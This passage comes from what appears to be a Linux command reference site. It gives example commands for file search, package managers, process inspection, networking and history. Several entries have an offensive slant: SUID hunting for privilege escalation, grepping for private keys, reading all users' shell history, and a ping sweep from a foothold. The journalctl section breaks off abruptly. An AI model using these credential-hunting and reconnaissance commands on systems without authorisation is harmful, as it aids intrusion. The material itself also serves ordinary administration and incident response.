(GNU). ### df -h | awk '$5+0 > 80' ```bash df -h | awk '$5+0 > 80' ``` Lists file systems more than 80% full. ## Related tools - [du](https://terminal.rokibulroni.com/tool/linux/du) - [free](https://terminal.rokibulroni.com/tool/linux/free) # Tool: DNF > The package manager for Fedora, RHEL and derivatives: install, update, query and roll back packages. - Category: Linux - Commands: 19 - Page: https://terminal.rokibulroni.com/tool/linux/dnf - Homepage: https://github.com/rpm-software-management/dnf - Documentation: https://dnf.readthedocs.io - Tags: packages, Fedora, RHEL ## Installing ### sudo dnf install ```bash sudo dnf install ``` Example: ```bash sudo dnf install nmap ``` Installs a package with its dependencies. ### sudo dnf install .rpm ```bash sudo dnf install .rpm ``` Example: ```bash sudo dnf install ./tool-1.0.x86_64.rpm ``` Installs a local RPM and resolves dependencies. ### sudo dnf reinstall ```bash sudo dnf reinstall ``` Example: ```bash sudo dnf reinstall openssh-server ``` Reinstalls a package. ### sudo dnf install epel-release ```bash sudo dnf install epel-release ``` Enables EPEL, which carries many security tools on RHEL-based systems. ## Updating and removing ### sudo dnf check-update ```bash sudo dnf check-update ``` Lists available updates. ### sudo dnf upgrade ```bash sudo dnf upgrade ``` Upgrades every package. ### sudo dnf upgrade --security ```bash sudo dnf upgrade --security ``` Applies only security updates. ### dnf updateinfo list security ```bash dnf updateinfo list security ``` Lists outstanding security advisories. ### sudo dnf remove ```bash sudo dnf remove ``` Example: ```bash sudo dnf remove telnet ``` Removes a package. ### sudo dnf autoremove ```bash sudo dnf autoremove ``` Removes unneeded dependencies. ## Querying ### dnf search ```bash dnf search ``` Example: ```bash dnf search wireshark ``` Searches packages. ### dnf info ```bash dnf info ``` Example: ```bash dnf info openssl ``` Package details. ### dnf provides ```bash dnf provides ``` Example: ```bash dnf provides /usr/bin/dig ``` Which package supplies a file or command. ### dnf list installed ```bash dnf list installed ``` Installed packages. ### dnf repolist ```bash dnf repolist ``` Enabled repositories. ### rpm -qf ```bash rpm -qf ``` Example: ```bash rpm -qf /usr/bin/ssh ``` Which installed package owns a file. ### rpm -Va ```bash rpm -Va ``` Verifies every installed file against the RPM database and flags changes to size, checksum or permissions. ## History ### dnf history ```bash dnf history ``` Every install, upgrade and removal transaction. ### sudo dnf history undo ```bash sudo dnf history undo ``` Example: ```bash sudo dnf history undo 42 ``` Rolls back a transaction. ## Related tools - [APT](https://terminal.rokibulroni.com/tool/linux/apt) - [pacman](https://terminal.rokibulroni.com/tool/linux/pacman) # Tool: du > Estimates how much space files and directories use — find what is filling a disk. - Category: Linux - Commands: 11 - Page: https://terminal.rokibulroni.com/tool/linux/du - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/du.1.html - Tags: disk, storage ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### du -sh ```bash du -sh ``` Example: ```bash du -sh /var/log ``` Total size of a directory, human-readable. ### du -sh * ```bash du -sh * ``` Size of each item in the current directory. ### du -sh .[!.]* * ```bash du -sh .[!.]* * ``` Includes hidden files and directories. ### du -h --max-depth=1 ```bash du -h --max-depth=1 ``` Example: ```bash du -h --max-depth=1 /home ``` One level of subdirectories (on macOS use -d 1). ### du -ah ```bash du -ah ``` Example: ```bash du -ah /etc/nginx ``` Lists files as well as directories. ### du -c ```bash du -c ``` Example: ```bash du -ch *.log ``` Adds a grand total. ## Finding space hogs ### du -sh * | sort -h ```bash du -sh * | sort -h ``` Sorted smallest to largest. ### du -ah 2>/dev/null | sort -rh | head -n 20 ```bash du -ah 2>/dev/null | sort -rh | head -n 20 ``` Example: ```bash du -ah / 2>/dev/null | sort -rh | head -n 20 ``` The 20 largest files and directories. ### du -xh --max-depth=1 / 2>/dev/null | sort -h ```bash du -xh --max-depth=1 / 2>/dev/null | sort -h ``` Stays on one file system (-x) so mounted volumes are not counted. ### du -sh --exclude= ```bash du -sh --exclude= ``` Example: ```bash du -sh --exclude=node_modules ~/projects ``` Leaves out matching paths. ### du --apparent-size -sh ```bash du --apparent-size -sh ``` Example: ```bash du --apparent-size -sh disk.img ``` Shows the logical size, which differs from disk usage for sparse files. ## Related tools - [df](https://terminal.rokibulroni.com/tool/linux/df) - [find](https://terminal.rokibulroni.com/tool/linux/find) - [sort](https://terminal.rokibulroni.com/tool/linux/sort) # Tool: find > Searches the directory tree by name, type, size, time, owner or permissions — and runs actions on matches. - Category: Linux - Commands: 22 - Page: https://terminal.rokibulroni.com/tool/linux/find - Homepage: https://www.gnu.org/software/findutils/ - Documentation: https://man7.org/linux/man-pages/man1/find.1.html - Tags: search, files, permissions ## Install - apt: `sudo apt install findutils` - brew: `brew install findutils` ## By name and type ### find -name "" ```bash find -name "" ``` Example: ```bash find /etc -name "*.conf" ``` Finds files whose name matches a glob (case-sensitive). ### find -iname "" ```bash find -iname "" ``` Example: ```bash find / -iname "*backup*" 2>/dev/null ``` Case-insensitive name match; 2>/dev/null hides permission errors. ### find -type f ```bash find -type f ``` Example: ```bash find /var/www -type f ``` Files only. Use -type d for directories and -type l for symlinks. ### find -maxdepth -name "" ```bash find -maxdepth -name "" ``` Example: ```bash find . -maxdepth 2 -name "*.py" ``` Limits how deep the search goes. ### find -path "" -prune -o -name "" -print ```bash find -path "" -prune -o -name "" -print ``` Example: ```bash find . -path ./node_modules -prune -o -name "*.js" -print ``` Skips a directory tree entirely. ## By size and time ### find -size + ```bash find -size + ``` Example: ```bash find / -type f -size +500M 2>/dev/null ``` Files larger than a size (k, M, G). Use - for smaller. ### find -empty ```bash find -empty ``` Example: ```bash find /tmp -empty ``` Empty files and directories. ### find -mtime - ```bash find -mtime - ``` Example: ```bash find /etc -mtime -1 ``` Modified in the last n days. ### find -mmin - ```bash find -mmin - ``` Example: ```bash find /var/www -mmin -30 ``` Modified in the last n minutes — useful when investigating a recent compromise. ### find -newer ```bash find -newer ``` Example: ```bash find / -newer /tmp/marker -type f 2>/dev/null ``` Files modified more recently than a reference file. ### find -newermt "" ```bash find -newermt "" ``` Example: ```bash find /home -newermt "2026-11-01" ! -newermt "2026-11-03" ``` Files modified between two dates. ## By owner and permission ### find / -perm -4000 -type f 2>/dev/null ```bash find / -perm -4000 -type f 2>/dev/null ``` Lists SUID binaries. Compare against GTFOBins for privilege-escalation paths. ### find / -perm -2000 -type f 2>/dev/null ```bash find / -perm -2000 -type f 2>/dev/null ``` Lists SGID binaries. ### find / -writable -type d 2>/dev/null ```bash find / -writable -type d 2>/dev/null ``` Directories your current user can write to. ### find / -perm -o+w -type f ! -path "/proc/*" 2>/dev/null ```bash find / -perm -o+w -type f ! -path "/proc/*" 2>/dev/null ``` World-writable files outside /proc. ### find -user ```bash find -user ``` Example: ```bash find / -user www-data -type f 2>/dev/null ``` Files owned by a user. ### find / -nouser -o -nogroup 2>/dev/null ```bash find / -nouser -o -nogroup 2>/dev/null ``` Files whose owner or group no longer exists. ## Acting on results ### find -name "" -exec {} \; ```bash find -name "" -exec {} \; ``` Example: ```bash find . -name "*.log" -exec gzip {} \; ``` Runs a command on each result. ### find -name "" -exec {} + ```bash find -name "" -exec {} + ``` Example: ```bash find . -name "*.txt" -exec grep -l "secret" {} + ``` Passes many results to one command invocation — much faster. ### find -name "" -delete ```bash find -name "" -delete ``` Example: ```bash find /tmp -name "*.tmp" -mtime +7 -delete ``` Deletes matches. Run without -delete first to check what will go. ### find -type f -print0 | xargs -0 ```bash find -type f -print0 | xargs -0 ``` Example: ```bash find . -type f -print0 | xargs -0 sha256sum ``` Safely handles names with spaces or newlines. ### find -type f -printf "%T@ %p\n" | sort -n | tail ```bash find -type f -printf "%T@ %p\n" | sort -n | tail ``` Example: ```bash find /var/www -type f -printf "%T@ %p\n" | sort -n | tail ``` Lists the most recently modified files (GNU find). ## Related tools - [grep](https://terminal.rokibulroni.com/tool/linux/grep) - [xargs](https://terminal.rokibulroni.com/tool/utilities/xargs) - [ls](https://terminal.rokibulroni.com/tool/linux/ls) # Tool: free > Shows total, used and available memory and swap. - Category: Linux - Commands: 10 - Page: https://terminal.rokibulroni.com/tool/linux/free - Homepage: https://gitlab.com/procps-ng/procps - Documentation: https://man7.org/linux/man-pages/man1/free.1.html - Tags: memory, performance ## Install - apt: `sudo apt install procps` ## Basics ### free -h ```bash free -h ``` Memory and swap usage in human-readable units. “available” is the realistic figure for new programs. ### free -m ```bash free -m ``` Values in mebibytes. ### free -g ```bash free -g ``` Values in gibibytes. ### free -h -t ```bash free -h -t ``` Adds a total row for RAM plus swap. ### free -h -s ```bash free -h -s ``` Example: ```bash free -h -s 2 ``` Refreshes every n seconds. ### free -h -w ```bash free -h -w ``` Wide mode: separates buffers from cache. ## Deeper ### cat /proc/meminfo ```bash cat /proc/meminfo ``` The raw kernel memory counters that free reads. ### vmstat -s -S M ```bash vmstat -s -S M ``` Memory statistics plus paging and swap activity. ### swapon --show ```bash swapon --show ``` Lists swap devices and how much of each is used. ### ps aux --sort=-%mem | head ```bash ps aux --sort=-%mem | head ``` The processes using the most memory. ## Related tools - [top](https://terminal.rokibulroni.com/tool/linux/top) - [ps](https://terminal.rokibulroni.com/tool/linux/ps) - [df](https://terminal.rokibulroni.com/tool/linux/df) # Tool: grep > Searches text for lines matching a pattern, with regular expressions, recursion and context. - Category: Linux - Commands: 21 - Page: https://terminal.rokibulroni.com/tool/linux/grep - Homepage: https://www.gnu.org/software/grep/ - Documentation: https://man7.org/linux/man-pages/man1/grep.1.html - Tags: search, regex, text ## Install - apt: `sudo apt install grep` - brew: `brew install grep` ## Basics ### grep "" ```bash grep "" ``` Example: ```bash grep "ERROR" app.log ``` Prints every line containing the pattern. ### grep -i "" ```bash grep -i "" ``` Example: ```bash grep -i "error" app.log ``` Case-insensitive match. ### grep -v "" ```bash grep -v "" ``` Example: ```bash grep -v "DEBUG" app.log ``` Inverts the match: prints lines that do not contain the pattern. ### grep -n "" ```bash grep -n "" ``` Example: ```bash grep -n "TODO" main.c ``` Prefixes each match with its line number. ### grep -c "" ```bash grep -c "" ``` Example: ```bash grep -c "Failed password" /var/log/auth.log ``` Counts matching lines instead of printing them. ### grep -w "" ```bash grep -w "" ``` Example: ```bash grep -w "root" /etc/passwd ``` Matches whole words only, so “root” does not match “chroot”. ### grep -x "" ```bash grep -x "" ``` Example: ```bash grep -x "PermitRootLogin yes" /etc/ssh/sshd_config ``` Matches only if the entire line is the pattern. ## Searching trees ### grep -r "" ```bash grep -r "" ``` Example: ```bash grep -r "password" /etc ``` Searches every file under a directory recursively. ### grep -rl "" ```bash grep -rl "" ``` Example: ```bash grep -rl "api_key" ~/projects ``` Lists only the names of files that match. ### grep -rn --include="" "" ```bash grep -rn --include="" "" ``` Example: ```bash grep -rn --include="*.php" "eval(" /var/www ``` Restricts the search to certain file types. ### grep -r --exclude-dir= "" . ```bash grep -r --exclude-dir= "" . ``` Example: ```bash grep -r --exclude-dir=node_modules "TODO" . ``` Skips directories you do not care about. ### grep -rIl "" ```bash grep -rIl "" ``` Example: ```bash grep -rIl "BEGIN RSA PRIVATE KEY" / 2>/dev/null ``` Skips binary files (-I) — here hunting for private keys left on disk. ## Patterns ### grep -E "|" ```bash grep -E "|" ``` Example: ```bash grep -E "error|fail|denied" syslog ``` Extended regular expressions: alternation, +, ? and {n} without backslashes. ### grep -o "" ```bash grep -o "" ``` Example: ```bash grep -oE "[0-9]{1,3}(\.[0-9]{1,3}){3}" access.log ``` Prints only the matched part of each line — here, every IPv4 address. ### grep -F "" ```bash grep -F "" ``` Example: ```bash grep -F "a.b*c" notes.txt ``` Treats the pattern as a fixed string, not a regex — faster and no escaping. ### grep -P "" ```bash grep -P "" ``` Example: ```bash grep -P "\d{4}-\d{2}-\d{2}" app.log ``` Perl-compatible regex with \d, lookarounds and lazy quantifiers (GNU grep). ### grep -f ```bash grep -f ``` Example: ```bash grep -f iocs.txt proxy.log ``` Reads many patterns from a file, one per line — handy for IOC matching. ## Context ### grep -A "" ```bash grep -A "" ``` Example: ```bash grep -A 3 "Exception" app.log ``` Shows n lines after each match. ### grep -B "" ```bash grep -B "" ``` Example: ```bash grep -B 2 "segfault" kern.log ``` Shows n lines before each match. ### grep -C "" ```bash grep -C "" ``` Example: ```bash grep -C 5 "Accepted password" auth.log ``` Shows n lines either side. ### | grep "" ```bash | grep "" ``` Example: ```bash ps aux | grep sshd ``` Filters the output of another command. ## Related tools - [sed](https://terminal.rokibulroni.com/tool/linux/sed) - [awk](https://terminal.rokibulroni.com/tool/linux/awk) - [find](https://terminal.rokibulroni.com/tool/linux/find) # Tool: head > Prints the first lines or bytes of files — quick previews of logs and data. - Category: Linux - Commands: 8 - Page: https://terminal.rokibulroni.com/tool/linux/head - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/head.1.html - Tags: text, files ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### head ```bash head ``` Example: ```bash head access.log ``` Prints the first 10 lines. ### head -n ```bash head -n ``` Example: ```bash head -n 25 /etc/passwd ``` Prints the first n lines. ### head -n - ```bash head -n - ``` Example: ```bash head -n -5 report.txt ``` Prints everything except the last n lines (GNU). ### head -c ```bash head -c ``` Example: ```bash head -c 64 firmware.bin ``` Prints the first n bytes — useful for checking file headers. ### head -n 1 ```bash head -n 1 ``` Example: ```bash head -n 1 *.csv ``` Shows the first line of several files, each with a header naming the file. ## In pipelines ### | head -n ```bash | head -n ``` Example: ```bash ls -lt | head -n 5 ``` Keeps only the first lines of output — here the five most recently modified files. ### sort -rn | head ```bash sort -rn | head ``` Example: ```bash sort -rn counts.txt | head ``` A top-ten list from numeric data. ### head -c 16 /dev/urandom | xxd ```bash head -c 16 /dev/urandom | xxd ``` Reads 16 random bytes and shows them in hex. ## Related tools - [tail](https://terminal.rokibulroni.com/tool/linux/tail) - [less](https://terminal.rokibulroni.com/tool/linux/less) # Tool: history > The shell built-in that lists, searches and re-runs previous commands, and manages the history file. - Category: Linux - Commands: 16 - Page: https://terminal.rokibulroni.com/tool/linux/history - Documentation: https://www.gnu.org/software/bash/manual/bash.html#Bash-History-Builtins - Tags: shell built-in, forensics ## Viewing ### history ```bash history ``` Numbered list of commands from this shell session and the history file. ### history ```bash history ``` Example: ```bash history 20 ``` The last n commands. ### history | grep ```bash history | grep ``` Example: ```bash history | grep ssh ``` Searches past commands. ### Ctrl-R ```bash Ctrl-R ``` Reverse incremental search: type part of a command and press Ctrl-R again for older matches. ### HISTTIMEFORMAT="%F %T " history ```bash HISTTIMEFORMAT="%F %T " history ``` Shows when each command was run (bash records times only if this was set when they ran). ## Re-running ### !! ```bash !! ``` Repeats the last command — sudo !! reruns it as root. ### ! ```bash ! ``` Example: ```bash !42 ``` Runs command number n. ### ! ```bash ! ``` Example: ```bash !ssh ``` Runs the most recent command starting with the text. ### !$ ```bash !$ ``` The last argument of the previous command. ### ^^ ```bash ^^ ``` Example: ```bash ^tcp^udp ``` Reruns the previous command with a substitution. ## Managing ### history -c ```bash history -c ``` Clears the in-memory history of this session. ### history -d ```bash history -d ``` Example: ```bash history -d 105 ``` Deletes one entry. ### history -a ```bash history -a ``` Writes this session’s commands to the history file now. ### ```bash ``` Example: ```bash export API_KEY=secret ``` With HISTCONTROL=ignorespace, a leading space keeps a command out of history. ## Forensics ### cat /home/*/.bash_history /root/.bash_history 2>/dev/null ```bash cat /home/*/.bash_history /root/.bash_history 2>/dev/null ``` Reads history files for every user. Empty or missing files, or a link to /dev/null, can indicate tampering. ### ls -la ~/.*history ```bash ls -la ~/.*history ``` Lists history files for different shells (bash, zsh, python, mysql, less). ## Related tools - [grep](https://terminal.rokibulroni.com/tool/linux/grep) - [tail](https://terminal.rokibulroni.com/tool/linux/tail) # Tool: ip > The iproute2 tool for addresses, links, routes, neighbours and network namespaces — the modern replacement for ifconfig and route. - Category: Linux - Commands: 17 - Page: https://terminal.rokibulroni.com/tool/linux/ip - Homepage: https://wiki.linuxfoundation.org/networking/iproute2 - Documentation: https://man7.org/linux/man-pages/man8/ip.8.html - Tags: networking, routing, interfaces ## Install - apt: `sudo apt install iproute2` ## Addresses ### ip a ```bash ip a ``` Every interface and its IPv4 and IPv6 addresses (short for ip address show). ### ip -br a ```bash ip -br a ``` Brief one-line-per-interface summary. ### ip -4 a show ```bash ip -4 a show ``` Example: ```bash ip -4 a show eth0 ``` IPv4 addresses on one interface. ### sudo ip addr add dev ```bash sudo ip addr add dev ``` Example: ```bash sudo ip addr add 10.10.14.5/24 dev eth0 ``` Adds an address (not persistent across reboots). ### sudo ip addr del dev ```bash sudo ip addr del dev ``` Example: ```bash sudo ip addr del 10.10.14.5/24 dev eth0 ``` Removes an address. ## Links ### ip -br link ```bash ip -br link ``` Interfaces, their state and MAC addresses. ### sudo ip link set up ```bash sudo ip link set up ``` Example: ```bash sudo ip link set eth0 up ``` Brings an interface up; use down to disable it. ### sudo ip link set dev address ```bash sudo ip link set dev address ``` Example: ```bash sudo ip link set dev wlan0 address 02:11:22:33:44:55 ``` Changes the MAC address (bring the interface down first). ### ip -s link show ```bash ip -s link show ``` Example: ```bash ip -s link show eth0 ``` Packet, byte, error and drop counters. ## Routing ### ip r ```bash ip r ``` The routing table; the default route shows your gateway. ### ip route get ```bash ip route get ``` Example: ```bash ip route get 8.8.8.8 ``` Which interface, source address and gateway the kernel would use to reach an address. ### sudo ip route add via ```bash sudo ip route add via ``` Example: ```bash sudo ip route add 172.16.0.0/16 via 10.10.14.1 ``` Adds a static route — common when pivoting into internal networks. ### sudo ip route del ```bash sudo ip route del ``` Example: ```bash sudo ip route del 172.16.0.0/16 ``` Deletes a route. ## Neighbours and namespaces ### ip neigh ```bash ip neigh ``` The ARP/NDP cache: nearby hosts this machine has talked to. ### sudo ip neigh flush all ```bash sudo ip neigh flush all ``` Clears the neighbour cache. ### ip netns list ```bash ip netns list ``` Network namespaces, used by containers and for isolated testing. ### sudo ip netns exec ```bash sudo ip netns exec ``` Example: ```bash sudo ip netns exec lab ip a ``` Runs a command inside a namespace. ## Related tools - [ss](https://terminal.rokibulroni.com/tool/network/ss) - [ping](https://terminal.rokibulroni.com/tool/linux/ping) - [netstat](https://terminal.rokibulroni.com/tool/network/netstat) # Tool: journalctl > Queries the systemd journal: logs by service, boot, time range, priority and more. - Category: Linux - Commands: 21 - Page: https://terminal.rokibulroni.com/tool/linux/journalctl - Homepage: https://systemd.io - Documentation: https://www.freedesktop.org/software/systemd/man/latest/journalctl.html - Tags: logs, systemd, incident response ## Reading ### journalctl ```bash journalctl ``` The whole journal, oldest first, in a pager. ### journalctl -r ```bash journalctl -r ``` Newest first. ### journalctl -f ```bash journalctl -f ``` Follows new entries live, like tail -f. ### journalctl -n ```bash journalctl -n ``` Example: ```bash journalctl -n 100 ``` The last n entries. ### journalctl -e ```bash journalctl -e ``` Opens at the end of the journal. ### journalctl -x -e ```bash journalctl -x -e ``` Adds explanatory help text to entries where available. ## Filtering ### journalctl -u ```bash journalctl -u ``` Example: ```bash journalctl -u ssh ``` Entries from one service. ### journalctl -u --since " ```bash mkdir ``` Example: ```bash mkdir notes ``` Creates a directory. ### mkdir -p ```bash mkdir -p ``` Example: ```bash mkdir -p cases/2026/acme/evidence ``` Creates the full path, including missing parents; no error if it exists. ### mkdir ```bash mkdir ``` Example: ```bash mkdir logs scans loot ``` Creates several directories at once. ### mkdir -p /{,,} ```bash mkdir -p /{,,} ``` Example: ```bash mkdir -p engagement/{recon,exploit,loot,report} ``` Brace expansion builds a whole project layout in one go. ### mkdir -m ```bash mkdir -m ``` Example: ```bash mkdir -m 700 private ``` Sets permissions at creation — 700 means only the owner can enter. ### mkdir -v ```bash mkdir -v ``` Prints each directory created. ### mkdir -p && cd ```bash mkdir -p && cd ``` Example: ```bash mkdir -p work && cd work ``` Creates a directory and enters it. ### mktemp -d ```bash mktemp -d ``` Creates a uniquely named temporary directory and prints its path — safer than a fixed name in /tmp. ## Related tools - [cd](https://terminal.rokibulroni.com/tool/linux/cd) - [chmod](https://terminal.rokibulroni.com/tool/linux/chmod) # Tool: mv > Moves or renames files and directories. - Category: Linux - Commands: 10 - Page: https://terminal.rokibulroni.com/tool/linux/mv - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/mv.1.html - Tags: files ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### mv ```bash mv ``` Example: ```bash mv draft.txt final.txt ``` Renames a file or moves it to another location. ### mv / ```bash mv / ``` Example: ```bash mv report.pdf ~/Documents/ ``` Moves a file into a directory. ### mv / ```bash mv / ``` Example: ```bash mv *.jpg photos/ ``` Moves several files. ### mv -i ```bash mv -i ``` Asks before overwriting. ### mv -n ```bash mv -n ``` Never overwrites. ### mv -v ```bash mv -v ``` Prints what was moved. ### mv -b ```bash mv -b ``` Backs up an existing destination before replacing it (GNU). ### mv -t ```bash mv -t ``` Example: ```bash mv -t archive/ *.log ``` Names the target directory first — useful with xargs. ## Renaming many files ### for f in *.; do mv -- "$f" "${f%.}."; done ```bash for f in *.; do mv -- "$f" "${f%.}."; done ``` Example: ```bash for f in *.jpeg; do mv -- "$f" "${f%.jpeg}.jpg"; done ``` Renames extensions in bulk using shell parameter expansion. ### rename 's///' ```bash rename 's///' ``` Example: ```bash rename 's/ /_/g' * ``` Perl rename: replaces spaces with underscores in every name. ## Related tools - [cp](https://terminal.rokibulroni.com/tool/linux/cp) - [rm](https://terminal.rokibulroni.com/tool/linux/rm) # Tool: pacman > Arch Linux’s package manager: sync, install, upgrade, query and clean packages. - Category: Linux - Commands: 15 - Page: https://terminal.rokibulroni.com/tool/linux/pacman - Homepage: https://archlinux.org/pacman/ - Documentation: https://archlinux.org/pacman/pacman.8.html - Tags: packages, Arch Linux ## Installing ### sudo pacman -Syu ```bash sudo pacman -Syu ``` Synchronises package databases and upgrades the whole system. Arch does not support partial upgrades. ### sudo pacman -S ```bash sudo pacman -S ``` Example: ```bash sudo pacman -S nmap ``` Installs a package. ### sudo pacman -S --needed ```bash sudo pacman -S --needed ``` Example: ```bash sudo pacman -S --needed git base-devel ``` Skips packages that are already up to date. ### sudo pacman -U ```bash sudo pacman -U ``` Example: ```bash sudo pacman -U ./tool-1.0-1-x86_64.pkg.tar.zst ``` Installs a local package file. ## Removing ### sudo pacman -R ```bash sudo pacman -R ``` Example: ```bash sudo pacman -R telnet ``` Removes a package. ### sudo pacman -Rns ```bash sudo pacman -Rns ``` Example: ```bash sudo pacman -Rns apache ``` Removes it with unneeded dependencies and saved configuration. ### sudo pacman -Rns $(pacman -Qtdq) ```bash sudo pacman -Rns $(pacman -Qtdq) ``` Removes orphaned dependencies. ### sudo pacman -Sc ```bash sudo pacman -Sc ``` Cleans old packages from the cache. ## Querying ### pacman -Ss ```bash pacman -Ss ``` Example: ```bash pacman -Ss wireshark ``` Searches the repositories. ### pacman -Si ```bash pacman -Si ``` Example: ```bash pacman -Si hashcat ``` Repository package details. ### pacman -Qi ```bash pacman -Qi ``` Example: ```bash pacman -Qi openssh ``` Installed package details. ### pacman -Ql ```bash pacman -Ql ``` Example: ```bash pacman -Ql openssh ``` Files installed by a package. ### pacman -Qo ```bash pacman -Qo ``` Example: ```bash pacman -Qo /usr/bin/ssh ``` Which package owns a file. ### pacman -Qe ```bash pacman -Qe ``` Explicitly installed packages. ### pacman -Qkk ```bash pacman -Qkk ``` Example: ```bash pacman -Qkk openssh ``` Checks installed files against package metadata. ## Related tools - [APT](https://terminal.rokibulroni.com/tool/linux/apt) - [DNF](https://terminal.rokibulroni.com/tool/linux/dnf) # Tool: ping > Sends ICMP echo requests to test reachability and measure round-trip time. - Category: Linux - Commands: 11 - Page: https://terminal.rokibulroni.com/tool/linux/ping - Documentation: https://man7.org/linux/man-pages/man8/ping.8.html - Tags: networking, ICMP, connectivity ## Install - apt: `sudo apt install iputils-ping` ## Basics ### ping ```bash ping ``` Example: ```bash ping example.com ``` Sends echo requests until Ctrl-C and reports latency and loss. ### ping -c ```bash ping -c ``` Example: ```bash ping -c 4 192.168.1.1 ``` Stops after n packets — what you want in scripts. ### ping -i ```bash ping -i ``` Example: ```bash ping -i 0.2 10.0.0.5 ``` Changes the interval; below 0.2 s needs root. ### ping -W -c 1 ```bash ping -W -c 1 ``` Example: ```bash ping -W 1 -c 1 10.0.0.5 ``` Waits at most n seconds for a reply. ### ping -q -c ```bash ping -q -c ``` Example: ```bash ping -q -c 20 1.1.1.1 ``` Prints only the summary. ### ping -6 ```bash ping -6 ``` Example: ```bash ping -6 google.com ``` Forces IPv6. ## Diagnostics ### ping -s ```bash ping -s ``` Example: ```bash ping -s 1472 -M do 10.0.0.1 ``` Sets payload size. With -M do (do not fragment) this finds the path MTU: 1472 + 28 bytes of headers = 1500. ### ping -D ```bash ping -D ``` Prints a timestamp before each line. ### ping -c 1 ```bash ping -c 1 ``` Example: ```bash ping -c 1 10.10.10.5 ``` Reads the TTL in the reply to guess the OS: about 64 for Linux and macOS, 128 for Windows, 255 for network gear. ### ping -b ```bash ping -b ``` Example: ```bash ping -b 192.168.1.255 ``` Pings a broadcast address; most modern hosts ignore it. ### for i in $(seq 1 254); do ping -c1 -W1 .$i | grep "bytes from" & done; wait ```bash for i in $(seq 1 254); do ping -c1 -W1 .$i | grep "bytes from" & done; wait ``` Example: ```bash for i in $(seq 1 254); do ping -c1 -W1 192.168.1.$i | grep "bytes from" & done; wait ``` A quick ping sweep with nothing but bash — useful on a foothold without nmap. ## Related tools - [fping](https://terminal.rokibulroni.com/tool/network/fping) - [ip](https://terminal.rokibulroni.com/tool/linux/ip) - [hping3](https://terminal.rokibulroni.com/tool/network/hping3) # Tool: ps > Reports a snapshot of running processes, with owners, resource usage and full command lines. - Category: Linux - Commands: 16 - Page: https://terminal.rokibulroni.com/tool/linux/ps - Homepage: https://gitlab.com/procps-ng/procps - Documentation: https://man7.org/linux/man-pages/man1/ps.1.html - Tags: processes, triage ## Install - apt: `sudo apt install procps` ## Listing ### ps aux ```bash ps aux ``` Every process on the system (BSD style): user, PID, CPU and memory share, start time and full command. ### ps -ef ```bash ps -ef ``` Every process (System V style) with parent PIDs — good for seeing what started what. ### ps -ef --forest ```bash ps -ef --forest ``` Draws the process tree, making a suspicious child under a web server easy to spot. ### ps -u ```bash ps -u ``` Example: ```bash ps -u www-data ``` Processes owned by one user. ### ps -p -o pid,ppid,user,etime,cmd ```bash ps -p -o pid,ppid,user,etime,cmd ``` Example: ```bash ps -p 1337 -o pid,ppid,user,etime,cmd ``` Chosen columns for one process, including how long it has been running. ### ps -C ```bash ps -C ``` Example: ```bash ps -C sshd ``` Processes by command name. ## Sorting and formatting ### ps aux --sort=-%cpu | head ```bash ps aux --sort=-%cpu | head ``` The top CPU consumers. ### ps aux --sort=-%mem | head ```bash ps aux --sort=-%mem | head ``` The top memory consumers. ### ps -eo pid,user,lstart,cmd ```bash ps -eo pid,user,lstart,cmd ``` Exact start time of each process — useful for incident timelines. ### ps -eo pid,ppid,cmd --no-headers ```bash ps -eo pid,ppid,cmd --no-headers ``` Scriptable output without the header line. ### ps -eLf ```bash ps -eLf ``` Shows individual threads. ## Investigation ### ps aux | grep -v "\]$" ```bash ps aux | grep -v "\]$" ``` Hides kernel threads (shown in brackets) to focus on user-space processes. ### ls -l /proc//exe ```bash ls -l /proc//exe ``` Example: ```bash ls -l /proc/1337/exe ``` Shows the binary a process is really running; “(deleted)” means it was removed from disk after starting — a common malware trick. ### cat /proc//cmdline | tr "\0" " " ```bash cat /proc//cmdline | tr "\0" " " ``` Example: ```bash cat /proc/1337/cmdline | tr "\0" " " ``` Reads the exact command line, arguments included. ### ls -l /proc//cwd ```bash ls -l /proc//cwd ``` Example: ```bash ls -l /proc/1337/cwd ``` Shows the working directory of a process. ### pgrep -a ```bash pgrep -a ``` Example: ```bash pgrep -a python ``` Finds PIDs by name and shows their command lines. ## Related tools - [top](https://terminal.rokibulroni.com/tool/linux/top) - [kill](https://terminal.rokibulroni.com/tool/linux/kill) - [ss](https://terminal.rokibulroni.com/tool/network/ss) # Tool: pwd > Prints the full path of the current working directory, optionally resolving symbolic links. - Category: Linux - Commands: 6 - Page: https://terminal.rokibulroni.com/tool/linux/pwd - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/pwd.1.html - Tags: navigation ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### pwd ```bash pwd ``` Prints the absolute path of the current working directory. ### pwd -P ```bash pwd -P ``` Prints the physical path with all symbolic links resolved. ### pwd -L ```bash pwd -L ``` Prints the logical path, keeping symbolic links as you navigated them (the default). ### echo "$PWD" ```bash echo "$PWD" ``` The same information from the PWD environment variable, useful in scripts. ### echo "$OLDPWD" ```bash echo "$OLDPWD" ``` Shows the previous directory, which `cd -` returns to. ### readlink -f . ```bash readlink -f . ``` Another way to print the fully resolved path of the current directory. ## Related tools - [cd](https://terminal.rokibulroni.com/tool/linux/cd) - [ls](https://terminal.rokibulroni.com/tool/linux/ls) # Tool: rm > Removes files and directories. There is no recycle bin — deletion is immediate. - Category: Linux - Commands: 11 - Page: https://terminal.rokibulroni.com/tool/linux/rm - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/rm.1.html - Tags: files, deletion ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Files ### rm ```bash rm ``` Example: ```bash rm old.log ``` Deletes a file. There is no undo. ### rm -i ```bash rm -i ``` Asks for confirmation for each file. ### rm -I ```bash rm -I ``` Example: ```bash rm -I *.tmp ``` Asks once before deleting more than three files. ### rm -f ```bash rm -f ``` Forces deletion without prompts and ignores missing files. ### rm -- ```bash rm -- ``` Example: ```bash rm -- -weird-name ``` Use -- to delete a file whose name starts with a dash. ### rm -v ```bash rm -v ``` Prints each file as it is removed. ## 